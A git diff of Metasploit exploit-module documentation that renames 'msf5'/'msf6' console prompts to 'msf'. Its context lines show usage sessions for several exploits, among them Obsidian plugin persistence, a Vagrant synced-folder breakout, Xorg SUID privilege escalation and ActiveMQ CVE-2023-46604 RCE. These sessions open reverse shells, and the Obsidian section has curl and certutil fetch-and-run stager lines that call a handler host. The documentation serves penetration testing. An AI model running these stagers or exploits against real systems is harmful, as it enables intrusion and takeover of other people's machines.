``` -msf6 exploit(multi/script/web_delivery) > use exploit/multi/local/obsidian_plugin_persistence +msf exploit(multi/script/web_delivery) > use exploit/multi/local/obsidian_plugin_persistence [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/local/obsidian_plugin_persistence) > set session 1 +msf exploit(multi/local/obsidian_plugin_persistence) > set session 1 session => 1 -msf6 exploit(multi/local/obsidian_plugin_persistence) > set verbose true +msf exploit(multi/local/obsidian_plugin_persistence) > set verbose true verbose => true -msf6 exploit(multi/local/obsidian_plugin_persistence) > exploit +msf exploit(multi/local/obsidian_plugin_persistence) > exploit [*] Command to run on remote host: curl -so ./HvxtaAdZVc http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./HvxtaAdZVc; ./HvxtaAdZVc & [*] Fetch handler listening on 1.1.1.1:8080 @@ -86,7 +86,7 @@ meterpreter > ``` -msf6 exploit(multi/local/obsidian_plugin_persistence) > rexploit +msf exploit(multi/local/obsidian_plugin_persistence) > rexploit [*] Reloading module... [*] Command to run on remote host: certutil -urlcache -f http://1.1.1.1:8080/bXCLrS0dWKPwEfygT3FJNA %TEMP%\FDTcKUuwF.exe & start /B %TEMP%\FDTcKUuwF.exe diff --git a/documentation/modules/exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout.md b/documentation/modules/exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout.md index b2eca38d76afd..f21fa1863a0a9 100644 --- a/documentation/modules/exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout.md +++ b/documentation/modules/exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout.md @@ -127,30 +127,30 @@ Path to `Vagrantfile` (leave blank to auto detect). ### hashicorp/bionic64 guest virtual machine in Vagrant 2.3.1 with VirtualBox 6.1 running on Ubuntu 22.04.1 ``` -msf6 > sessions -i 1 -C sysinfo +msf > sessions -i 1 -C sysinfo [*] Running 'sysinfo' on meterpreter session 1 (::1) Computer : vagrant.vm OS : Ubuntu 18.04 (Linux 4.15.0-58-generic) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux -msf6 > sessions -i 1 -C getuid +msf > sessions -i 1 -C getuid [*] Running 'getuid' on meterpreter session 1 (::1) Server username: vagrant -msf6 > use exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout +msf > use exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout [*] Using configured payload ruby/shell_reverse_tcp -msf6 exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set session 1 +msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set session 1 session => 1 -msf6 exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set lhost 192.168.200.130 +msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set lhost 192.168.200.130 lhost => 192.168.200.130 -msf6 exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set lport 4444 +msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set lport 4444 lport => 4444 -msf6 exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > check +msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > check [!] SESSION may not be compatible with this module: [!] * incompatible session platform: windows [*] The service is running, but could not be validated. Could not verify if C:\vagrant\Vagrantfile is writable. -msf6 exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > run +msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > run [!] SESSION may not be compatible with this module: [!] * incompatible session platform: windows @@ -160,22 +160,22 @@ msf6 exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > run [*] Payload appended to C:\vagrant\Vagrantfile [*] The payload will be executed when a user runs any vagrant command from within the project directory on the host system. [!] This module requires manual removal of the payload from the project Vagrantfile: C:\vagrant\Vagrantfile -msf6 exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > use exploit/multi/handler +msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > use exploit/multi/handler [*] Using configured payload cmd/unix/reverse_netcat -msf6 exploit(multi/handler) > set payload ruby/shell_reverse_tcp +msf exploit(multi/handler) > set payload ruby/shell_reverse_tcp payload => ruby/shell_reverse_tcp -msf6 exploit(multi/handler) > set lhost 192.168.200.130 +msf exploit(multi/handler) > set lhost 192.168.200.130 lhost => 192.168.200.130 -msf6 exploit(multi/handler) > set lport 4444 +msf exploit(multi/handler) > set lport 4444 lport => 4444 -msf6 exploit(multi/handler) > run -jz +msf exploit(multi/handler) > run -jz [*] Exploit running as background job 2. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.200.130:4444 -msf6 exploit(multi/handler) > [*] Command shell session 2 opened (192.168.200.130:4444 -> 192.168.200.204:44242) at 2022-10-16 05:46:32 -0400 +msf exploit(multi/handler) > [*] Command shell session 2 opened (192.168.200.130:4444 -> 192.168.200.204:44242) at 2022-10-16 05:46:32 -0400 -msf6 exploit(multi/handler) > sessions -i 2 +msf exploit(multi/handler) > sessions -i 2 [*] Starting interaction with 2... id @@ -201,7 +201,7 @@ end ### StefanScherer/windows_2019 guest virtual machine in Vagrant 2.3.1 with VirtualBox 6.1 running on Ubuntu 22.04.1 ``` -msf6 > sessions -i 1 -C sysinfo +msf > sessions -i 1 -C sysinfo [*] Running 'sysinfo' on meterpreter session 1 (10.0.2.15) Computer : VAGRANT OS : Windows 2016+ (10.0 Build 17763). @@ -210,25 +210,25 @@ System Language : en_US Domain : WORKGROUP Logged On Users : 1 Meterpreter : x64/windows -msf6 > sessions -i 1 -C getuid +msf > sessions -i 1 -C getuid [*] Running 'getuid' on meterpreter session 1 (10.0.2.15) Server username: VAGRANT\test -msf6 > use exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout +msf > use exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout [*] Using configured payload ruby/shell_reverse_tcp -msf6 exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set session 1 +msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set session 1 session => 1 -msf6 exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > check +msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > check [!] SESSION may not be compatible with this module: [!] * incompatible session platform: windows [*] The service is running, but could not be validated. Could not verify if /vagrant/Vagrantfile is writable. -msf6 exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set payload ruby/shell_reverse_tcp +msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set payload ruby/shell_reverse_tcp payload => ruby/shell_reverse_tcp -msf6 exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set lhost 192.168.200.130 +msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set lhost 192.168.200.130 lhost => 192.168.200.130 -msf6 exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set lport 4444 +msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > set lport 4444 lport => 4444 -msf6 exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > run +msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > run [!] SESSION may not be compatible with this module: [!] * incompatible session platform: windows @@ -238,22 +238,22 @@ msf6 exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > run [*] Payload appended to /vagrant/Vagrantfile [*] The payload will be executed when a user runs any vagrant command from within the project directory on the host system. [!] This module requires manual removal of the payload from the project Vagrantfile: /vagrant/Vagrantfile -msf6 exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > use exploit/multi/handler +msf exploit(multi/local/vagrant_synced_folder_vagrantfile_breakout) > use exploit/multi/handler [*] Using configured payload windows/x64/shell/reverse_tcp -msf6 exploit(multi/handler) > set payload ruby/shell_reverse_tcp +msf exploit(multi/handler) > set payload ruby/shell_reverse_tcp payload => ruby/shell_reverse_tcp -msf6 exploit(multi/handler) > set lport 4444 +msf exploit(multi/handler) > set lport 4444 lport => 4444 -msf6 exploit(multi/handler) > set lhost 192.168.200.130 +msf exploit(multi/handler) > set lhost 192.168.200.130 lhost => 192.168.200.130 -msf6 exploit(multi/handler) > run -jz +msf exploit(multi/handler) > run -jz [*] Exploit running as background job 2. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.200.130:4444 -msf6 exploit(multi/handler) > [*] Command shell session 2 opened (192.168.200.130:4444 -> 192.168.200.204:51524) at 2022-10-16 06:34:04 -0400 +msf exploit(multi/handler) > [*] Command shell session 2 opened (192.168.200.130:4444 -> 192.168.200.204:51524) at 2022-10-16 06:34:04 -0400 -msf6 exploit(multi/handler) > sessions -i 2 +msf exploit(multi/handler) > sessions -i 2 [*] Starting interaction with 2... id diff --git a/documentation/modules/exploit/multi/local/xorg_x11_suid_server.md b/documentation/modules/exploit/multi/local/xorg_x11_suid_server.md index d66fb2ccb0f5c..ae65e89cbfc9a 100644 --- a/documentation/modules/exploit/multi/local/xorg_x11_suid_server.md +++ b/documentation/modules/exploit/multi/local/xorg_x11_suid_server.md @@ -56,14 +56,14 @@ Will check for console lock under linux (default: `true`) ### OpenBSD ``` -msf5 > use exploit/multi/local/xorg_x11_suid_server -msf5 exploit(multi/local/xorg_x11_suid_server) > set session 1 +msf > use exploit/multi/local/xorg_x11_suid_server +msf exploit(multi/local/xorg_x11_suid_server) > set session 1 session => 1 -msf5 exploit(multi/local/xorg_x11_suid_server) > set lhost 172.30.0.2 +msf exploit(multi/local/xorg_x11_suid_server) > set lhost 172.30.0.2 lhost => 172.30.0.2 -msf5 exploit(multi/local/xorg_x11_suid_server) > set verbose true +msf exploit(multi/local/xorg_x11_suid_server) > set verbose true verbose => true -msf5 exploit(multi/local/xorg_x11_suid_server) > run +msf exploit(multi/local/xorg_x11_suid_server) > run [!] SESSION may not be compatible with this module. [*] Started reverse double SSL handler on 172.30.0.2:4444 @@ -100,14 +100,14 @@ uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), ### CentOS 7.4.1708 x86_64 ``` -msf5 > use exploit/multi/local/xorg_x11_suid_server -msf5 exploit(multi/local/xorg_x11_suid_server) > set session 1 +msf > use exploit/multi/local/xorg_x11_suid_server +msf exploit(multi/local/xorg_x11_suid_server) > set session 1 session => 1 -msf5 exploit(multi/local/xorg_x11_suid_server) > set lhost 172.16.191.165 +msf exploit(multi/local/xorg_x11_suid_server) > set lhost 172.16.191.165 lhost => 172.16.191.165 -msf5 exploit(multi/local/xorg_x11_suid_server) > set verbose true +msf exploit(multi/local/xorg_x11_suid_server) > set verbose true verbose => true -msf5 exploit(multi/local/xorg_x11_suid_server) > run +msf exploit(multi/local/xorg_x11_suid_server) > run [*] Started reverse double SSL handler on 172.16.191.188:4444 [*] Running additional check for Linux @@ -147,14 +147,14 @@ Linux centos-7-1708.localdomain 3.10.0-693.el7.x86_64 #1 SMP Tue Aug 22 21:09:27 ### Red Hat Enterprise Linux 7.5 x86_64 ``` -msf5 > use exploit/multi/local/xorg_x11_suid_server -msf5 exploit(multi/local/xorg_x11_suid_server) > set session 1 +msf > use exploit/multi/local/xorg_x11_suid_server +msf exploit(multi/local/xorg_x11_suid_server) > set session 1 session => 1 -msf5 exploit(multi/local/xorg_x11_suid_server) > set lhost 172.16.191.165 +msf exploit(multi/local/xorg_x11_suid_server) > set lhost 172.16.191.165 lhost => 172.16.191.165 -msf5 exploit(multi/local/xorg_x11_suid_server) > set verbose true +msf exploit(multi/local/xorg_x11_suid_server) > set verbose true verbose => true -msf5 exploit(multi/local/xorg_x11_suid_server) > run +msf exploit(multi/local/xorg_x11_suid_server) > run [*] Started reverse double SSL handler on 172.16.191.165:4444 [*] Running additional check for Linux diff --git a/documentation/modules/exploit/multi/local/xorg_x11_suid_server_modulepath.md b/documentation/modules/exploit/multi/local/xorg_x11_suid_server_modulepath.md index ac8ebccb2d821..e78f54fd80767 100644 --- a/documentation/modules/exploit/multi/local/xorg_x11_suid_server_modulepath.md +++ b/documentation/modules/exploit/multi/local/xorg_x11_suid_server_modulepath.md @@ -40,7 +40,7 @@ Xorg shared object name for modulepath (default: `libglx.so`) ### Xorg `v1.19.3` on Centos 7.4 ``` -msf5 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 172.16.215.1:4444 [*] Sending stage (816260 bytes) to 172.16.215.159 @@ -56,16 +56,16 @@ BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > background [*] Backgrounding session 1... -msf5 exploit(multi/handler) > use exploit/multi/local/xorg_x11_suid_server_modulepath -msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set session 1 +msf exploit(multi/handler) > use exploit/multi/local/xorg_x11_suid_server_modulepath +msf exploit(multi/local/xorg_x11_suid_server_modulepath) > set session 1 session => 1 -msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(multi/local/xorg_x11_suid_server_modulepath) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set lhost 172.16.215.1 +msf exploit(multi/local/xorg_x11_suid_server_modulepath) > set lhost 172.16.215.1 lhost => 172.16.215.1 -msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > check +msf exploit(multi/local/xorg_x11_suid_server_modulepath) > check [+] The target is vulnerable. -msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > run +msf exploit(multi/local/xorg_x11_suid_server_modulepath) > run [*] Started reverse TCP handler on 172.16.215.1:4444 [+] Passed all initial checks for exploit @@ -90,7 +90,7 @@ Meterpreter : x64/linux ### Xorg `v1.19.5` on Solaris 11.4 ``` -msf5 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 172.16.215.1:4444 [*] Command shell session 3 opened (172.16.215.1:4444 -> 172.16.215.152:49722) at 2019-10-22 09:27:45 -0500 @@ -103,20 +103,20 @@ background Background session 3? [y/N] y -msf5 exploit(multi/handler) > use exploit/multi/local/xorg_x11_suid_server_modulepath -msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set payload cmd/unix/reverse_ksh +msf exploit(multi/handler) > use exploit/multi/local/xorg_x11_suid_server_modulepath +msf exploit(multi/local/xorg_x11_suid_server_modulepath) > set payload cmd/unix/reverse_ksh payload => cmd/unix/reverse_ksh -msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set lhost 172.16.215.1 +msf exploit(multi/local/xorg_x11_suid_server_modulepath) > set lhost 172.16.215.1 lhost => 172.16.215.1 -msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set session 3 +msf exploit(multi/local/xorg_x11_suid_server_modulepath) > set session 3 session => 3 -msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > set target 2 +msf exploit(multi/local/xorg_x11_suid_server_modulepath) > set target 2 target => 2 -msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > check +msf exploit(multi/local/xorg_x11_suid_server_modulepath) > check [!] SESSION may not be compatible with this module. [+] The target is vulnerable. -msf5 exploit(multi/local/xorg_x11_suid_server_modulepath) > run +msf exploit(multi/local/xorg_x11_suid_server_modulepath) > run [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 172.16.215.1:4444 diff --git a/documentation/modules/exploit/multi/misc/apache_activemq_rce_cve_2023_46604.md b/documentation/modules/exploit/multi/misc/apache_activemq_rce_cve_2023_46604.md index fd10b7e73f5f1..1c0cdb7002808 100644 --- a/documentation/modules/exploit/multi/misc/apache_activemq_rce_cve_2023_46604.md +++ b/documentation/modules/exploit/multi/misc/apache_activemq_rce_cve_2023_46604.md @@ -33,7 +33,7 @@ Steps (Linux target): ### Windows ``` -msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options +msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options Module options (exploit/multi/misc/apache_activemq_rce_cve_2023_46604): @@ -95,9 +95,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > check +msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > check [*] 192.168.86.50:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.15.3 -msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit +msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] 192.168.86.50:61616 - Running automatic check ("set AutoCheck false" to disable) @@ -126,7 +126,7 @@ meterpreter > ### Linux ``` -msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options +msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options Module options (exploit/multi/misc/apache_activemq_rce_cve_2023_46604): @@ -187,9 +187,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > check +msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > check [*] 192.168.86.43:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.18.2 -msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit +msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] 192.168.86.43:61616 - Running automatic check ("set AutoCheck false" to disable) @@ -214,13 +214,13 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.86.43 - Meterpreter session 3 closed. Reason: Died -msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > +msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > ``` ### Unix ``` -msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options +msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options Module options (exploit/multi/misc/apache_activemq_rce_cve_2023_46604): @@ -264,9 +264,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > check +msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > check [*] 192.168.86.43:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.18.2 -msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit +msf exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] 192.168.86.43:61616 - Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/misc/bmc_patrol_cmd_exec.md b/documentation/modules/exploit/multi/misc/bmc_patrol_cmd_exec.md index f6f2ebd8193c1..bd6e7da38bf99 100644 --- a/documentation/modules/exploit/multi/misc/bmc_patrol_cmd_exec.md +++ b/documentation/modules/exploit/multi/misc/bmc_patrol_cmd_exec.md @@ -27,20 +27,20 @@ The exploit module contains several targets as detailed below. ### Target 0: Windows Powershell Injected Shellcode This module target provides support for command staging to enable arbitrary Metasploit payloads to be used against Windows targets (for example, a Meterpreter shell). - msf5 > use exploit/multi/misc/bmc_patrol_cmd_exec - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set RHOSTS 192.168.162.133 + msf > use exploit/multi/misc/bmc_patrol_cmd_exec + msf exploit(multi/misc/bmc_patrol_cmd_exec) > set RHOSTS 192.168.162.133 RHOSTS => 192.168.162.133 - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set LHOST 192.168.162.128 + msf exploit(multi/misc/bmc_patrol_cmd_exec) > set LHOST 192.168.162.128 LHOST => 192.168.162.128 - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set payload windows/meterpreter/reverse_tcp + msf exploit(multi/misc/bmc_patrol_cmd_exec) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set USER user + msf exploit(multi/misc/bmc_patrol_cmd_exec) > set USER user USER => user - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set PASSWORD password + msf exploit(multi/misc/bmc_patrol_cmd_exec) > set PASSWORD password PASSWORD => password - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > exploit -j + msf exploit(multi/misc/bmc_patrol_cmd_exec) > exploit -j [*] Exploit running as background job 0. - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > + msf exploit(multi/misc/bmc_patrol_cmd_exec) > [*] Started reverse TCP handler on 192.168.162.128:4444 [*] 192.168.162.133:3181 - Connected to BMC Patrol Agent. [*] 192.168.162.133:3181 - Successfully authenticated user. @@ -51,22 +51,22 @@ This module target provides support for command staging to enable arbitrary Meta ### Target 1: Generic Cmd This target can be used with *cmd* payloads to execute operating system commands against the target host. - msf5 > use exploit/multi/misc/bmc_patrol_cmd_exec - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set RHOSTS 192.168.162.130 + msf > use exploit/multi/misc/bmc_patrol_cmd_exec + msf exploit(multi/misc/bmc_patrol_cmd_exec) > set RHOSTS 192.168.162.130 RHOSTS => 192.168.162.130 - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set LHOST 192.168.162.128 + msf exploit(multi/misc/bmc_patrol_cmd_exec) > set LHOST 192.168.162.128 LHOST => 192.168.162.128 - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set USER patrol + msf exploit(multi/misc/bmc_patrol_cmd_exec) > set USER patrol USER => patrol - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set PASSWORD password + msf exploit(multi/misc/bmc_patrol_cmd_exec) > set PASSWORD password PASSWORD => password - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set TARGET 1 + msf exploit(multi/misc/bmc_patrol_cmd_exec) > set TARGET 1 TARGET => 1 - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set PAYLOAD cmd/unix/reverse_netcat + msf exploit(multi/misc/bmc_patrol_cmd_exec) > set PAYLOAD cmd/unix/reverse_netcat PAYLOAD => cmd/unix/reverse_netcat - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > exploit -j + msf exploit(multi/misc/bmc_patrol_cmd_exec) > exploit -j [*] Exploit running as background job 0. - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > + msf exploit(multi/misc/bmc_patrol_cmd_exec) > [*] Started reverse TCP handler on 192.168.162.128:4444 [*] 192.168.162.130:3181 - Connected to BMC Patrol Agent. [*] 192.168.162.130:3181 - Successfully authenticated user. @@ -76,15 +76,15 @@ This target can be used with *cmd* payloads to execute operating system commands ### Target Cmd Execution: Windows/Unix/Linux This target isn't a formal target. It was added to allow a user to execute commands entirely through the Patrol Agent remote administration feature and view the output. It would be the most quiet of the targets as it does not create any additional connections or use powershell by default like Target 0. - msf5 > use exploit/multi/misc/bmc_patrol_cmd_exec - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set RHOSTS 192.168.162.133 + msf > use exploit/multi/misc/bmc_patrol_cmd_exec + msf exploit(multi/misc/bmc_patrol_cmd_exec) > set RHOSTS 192.168.162.133 RHOSTS => 192.168.162.133 - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set USER user + msf exploit(multi/misc/bmc_patrol_cmd_exec) > set USER user USER => user - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set PASSWORD password + msf exploit(multi/misc/bmc_patrol_cmd_exec) > set PASSWORD password PASSWORD => password - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set CMD whoami - msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > exploit + msf exploit(multi/misc/bmc_patrol_cmd_exec) > set CMD whoami + msf exploit(multi/misc/bmc_patrol_cmd_exec) > exploit [*] 192.168.162.133:3181 - Connected to BMC Patrol Agent. [*] 192.168.162.133:3181 - Successfully authenticated user. [*] 192.168.162.133:3181 - Command to execute: whoami diff --git a/documentation/modules/exploit/multi/misc/calibre_exec.md b/documentation/modules/exploit/multi/misc/calibre_exec.md index 91302deb8a26a..75863f526d27e 100644 --- a/documentation/modules/exploit/multi/misc/calibre_exec.md +++ b/documentation/modules/exploit/multi/misc/calibre_exec.md @@ -37,11 +37,11 @@ Linux: 3. Start `msfconsole` and run the following commands: ``` -msf6 > use exploit/multi/misc/calibre_exec +msf > use exploit/multi/misc/calibre_exec [*] Using configured payload cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/misc/calibre_exec) > set RHOSTS -msf6 exploit(multi/misc/calibre_exec) > set LHOST -msf6 exploit(multi/misc/calibre_exec) > exploit +msf exploit(multi/misc/calibre_exec) > set RHOSTS +msf exploit(multi/misc/calibre_exec) > set LHOST +msf exploit(multi/misc/calibre_exec) > exploit ``` You should get a meterpreter session running in the same context as the Calibre application. @@ -54,7 +54,7 @@ Running the exploit against Calibre v7.14 on Windows 10 22H2, using curl as a fe following: ``` -msf6 exploit(multi/misc/calibre_exec) > exploit +msf exploit(multi/misc/calibre_exec) > exploit [*] Started reverse TCP handler on 192.168.137.190:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -90,7 +90,7 @@ Running the exploit against Calibre v7.14 on Ubuntu 24.04 LTS, using cmd/unix/py an output similar to the following: ``` -msf6 exploit(multi/misc/calibre_exec) > exploit +msf exploit(multi/misc/calibre_exec) > exploit [ *] Started reverse TCP handler on 192.168.137.190:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/misc/claymore_dual_miner_remote_manager_rce.md b/documentation/modules/exploit/multi/misc/claymore_dual_miner_remote_manager_rce.md index 37ee541574058..41005d681077b 100644 --- a/documentation/modules/exploit/multi/misc/claymore_dual_miner_remote_manager_rce.md +++ b/documentation/modules/exploit/multi/misc/claymore_dual_miner_remote_manager_rce.md @@ -31,14 +31,14 @@ can exploit this vulnerability by uploading a reboot.bat or reboot.sh file and e ### Remote target ``` - msf5 > use exploit/multi/misc/claymore_dual_miner_remote_manager_rce - msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set rhost 127.0.0.1 + msf > use exploit/multi/misc/claymore_dual_miner_remote_manager_rce + msf exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set rhost 127.0.0.1 rhost => 127.0.0.1 - msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set lhost 127.0.0.1 + msf exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set lhost 127.0.0.1 lhost => 127.0.0.1 - msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rcee) > set lport 1234 + msf exploit(multi/misc/claymore_dual_miner_remote_manager_rcee) > set lport 1234 lport => 1234 - msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > exploit + msf exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > exploit [*] Started reverse TCP handler on 127.0.0.1:1234 [*] Command shell session 1 opened (127.0.0.1:1234 -> 127.0.0.1:3333) at 2018-07-02 18:43:41 +0000 diff --git a/documentation/modules/exploit/multi/misc/consul_rexec_exec.md b/documentation/modules/exploit/multi/misc/consul_rexec_exec.md index d5e144ff4d92c..800db3c0f4c6f 100644 --- a/documentation/modules/exploit/multi/misc/consul_rexec_exec.md +++ b/documentation/modules/exploit/multi/misc/consul_rexec_exec.md @@ -67,16 +67,16 @@ You can verify the module against the vulnerable application with those steps: Exploit running against a Docker [consul](https://hub.docker.com/_/consul/) container target: ``` -msf5 > use exploit/multi/misc/consul_rexec_exec -msf5 exploit(multi/misc/consul_rexec_exec) > set RHOSTS 172.17.0.4 +msf > use exploit/multi/misc/consul_rexec_exec +msf exploit(multi/misc/consul_rexec_exec) > set RHOSTS 172.17.0.4 RHOSTS => 172.17.0.4 -msf5 exploit(multi/misc/consul_rexec_exec) > set payload linux/x86/meterpreter/reverse_tcp +msf exploit(multi/misc/consul_rexec_exec) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp -msf5 exploit(multi/misc/consul_rexec_exec) > set LHOST 172.17.42.1 +msf exploit(multi/misc/consul_rexec_exec) > set LHOST 172.17.42.1 LHOST => 172.17.42.1 -msf5 exploit(multi/misc/consul_rexec_exec) > check +msf exploit(multi/misc/consul_rexec_exec) > check [+] 172.17.0.4:8500 The target is vulnerable. -msf5 exploit(multi/misc/consul_rexec_exec) > run +msf exploit(multi/misc/consul_rexec_exec) > run [*] Started reverse TCP handler on 172.17.42.1:4444 [*] Creating session. diff --git a/documentation/modules/exploit/multi/misc/consul_service_exec.md b/documentation/modules/exploit/multi/misc/consul_service_exec.md index 943230dbb558f..5759dc6b8799a 100644 --- a/documentation/modules/exploit/multi/misc/consul_service_exec.md +++ b/documentation/modules/exploit/multi/misc/consul_service_exec.md @@ -64,16 +64,16 @@ You can verify the module against the vulnerable application with those steps: Exploit running against a Docker [consul](https://hub.docker.com/_/consul/) container target: ``` -msf5 > use exploit/multi/misc/consul_service_exec -msf5 exploit(multi/misc/consul_service_exec) > set RHOSTS 172.17.0.4 +msf > use exploit/multi/misc/consul_service_exec +msf exploit(multi/misc/consul_service_exec) > set RHOSTS 172.17.0.4 RHOSTS => 172.17.0.4 -msf5 exploit(multi/misc/consul_service_exec) > set payload linux/x86/meterpreter/reverse_tcp +msf exploit(multi/misc/consul_service_exec) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp -msf5 exploit(multi/misc/consul_service_exec) > set LHOST 172.17.42.1 +msf exploit(multi/misc/consul_service_exec) > set LHOST 172.17.42.1 LHOST => 172.17.42.1 -msf5 exploit(multi/misc/consul_service_exec) > check +msf exploit(multi/misc/consul_service_exec) > check [+] 172.17.0.4:8500 The target is vulnerable. -msf5 exploit(multi/misc/consul_rexec_exec) > run +msf exploit(multi/misc/consul_rexec_exec) > run [*] Started reverse TCP handler on 172.17.42.1:4444 [*] Creating service 'BBBDX' diff --git 